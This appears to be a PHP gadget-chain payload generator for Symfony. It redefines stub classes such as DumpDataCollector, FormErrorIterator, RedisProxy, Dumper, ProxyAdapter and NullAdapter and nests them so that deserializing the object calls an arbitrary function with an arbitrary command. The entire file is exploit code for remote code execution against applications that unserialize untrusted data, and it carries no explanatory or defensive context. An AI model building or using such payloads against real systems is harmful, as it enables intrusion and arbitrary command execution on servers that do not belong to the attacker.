|
0 |
<?php
|
|
1 |
|
|
2 |
namespace Symfony\Component\Cache\Adapter
|
|
3 |
{
|
|
4 |
class ProxyAdapter
|
|
5 |
{
|
|
6 |
private $createCacheItem;
|
|
7 |
private $namespace;
|
|
8 |
private $pool;
|
|
9 |
|
|
10 |
public function __construct($createCacheItem, $pool)
|
|
11 |
{
|
|
12 |
$this->createCacheItem = $createCacheItem;
|
|
13 |
$this->pool = $pool;
|
|
14 |
$this->namespace = '';
|
|
15 |
}
|
|
16 |
}
|
|
17 |
|
|
18 |
|
|
19 |
class NullAdapter
|
|
20 |
{
|
|
21 |
private $createCacheItem;
|
|
22 |
|
|
23 |
public function __construct($createCacheItem)
|
|
24 |
{
|
|
25 |
$this->createCacheItem = $createCacheItem;
|
|
26 |
}
|
|
27 |
}
|
|
28 |
}
|
|
29 |
|
|
30 |
namespace Symfony\Component\Console\Helper
|
|
31 |
{
|
|
32 |
class Dumper
|
|
33 |
{
|
|
34 |
private $handler;
|
|
35 |
|
|
36 |
public function __construct($handler)
|
|
37 |
{
|
|
38 |
$this->handler = $handler;
|
|
39 |
}
|
|
40 |
}
|
|
41 |
}
|
|
42 |
|
|
43 |
|
|
44 |
namespace Symfony\Component\Cache\Traits
|
|
45 |
{
|
|
46 |
class RedisProxy
|
|
47 |
{
|
|
48 |
private $redis;
|
|
49 |
private $initializer;
|
|
50 |
|
|
51 |
public function __construct($initializer, $redis)
|
|
52 |
{
|
|
53 |
$this->initializer = $initializer;
|
|
54 |
$this->redis = $redis;
|
|
55 |
}
|
|
56 |
}
|
|
57 |
}
|
|
58 |
|
|
59 |
namespace Symfony\Component\Form
|
|
60 |
{
|
|
61 |
|
|
62 |
class FormErrorIterator
|
|
63 |
{
|
|
64 |
public $form;
|
|
65 |
private $errors;
|
|
66 |
|
|
67 |
function __construct($errors, $form)
|
|
68 |
{
|
|
69 |
$this->errors = $errors;
|
|
70 |
$this->form = $form;
|
|
71 |
}
|
|
72 |
}
|
|
73 |
}
|
|
74 |
|
|
75 |
|
|
76 |
namespace Symfony\Component\HttpKernel\DataCollector
|
|
77 |
{
|
|
78 |
class DumpDataCollector
|
|
79 |
{
|
|
80 |
protected $data;
|
|
81 |
private $stopwatch;
|
|
82 |
private $fileLinkFormat;
|
|
83 |
private $dataCount = 0;
|
|
84 |
private $isCollected = false;
|
|
85 |
private $clonesCount = 0;
|
|
86 |
private $clonesIndex = 0;
|
|
87 |
|
|
88 |
public function __construct($function, $command)
|
|
89 |
{
|
|
90 |
$this->data = [
|
|
91 |
[
|
|
92 |
"data" => "1",
|
|
93 |
"name" => new \Symfony\Component\Form\FormErrorIterator([
|
|
94 |
new \Symfony\Component\Form\FormErrorIterator(
|
|
95 |
[],
|
|
96 |
new \Symfony\Component\Cache\Traits\RedisProxy(
|
|
97 |
new \Symfony\Component\Console\Helper\Dumper([
|
|
98 |
new \Symfony\Component\Cache\Adapter\ProxyAdapter(
|
|
99 |
'dd', // exit function
|
|
100 |
new \Symfony\Component\Cache\Adapter\NullAdapter($function)
|
|
101 |
),
|
|
102 |
"getItem"
|
|
103 |
]),
|
|
104 |
$command
|
|
105 |
)
|
|
106 |
)],
|
|
107 |
null
|
|
108 |
),
|
|
109 |
"file" => "3",
|
|
110 |
"line" => "4"
|
|
111 |
],
|
|
112 |
null,
|
|
113 |
null
|
|
114 |
];
|
|
115 |
}
|
|
116 |
}
|
|
117 |
}
|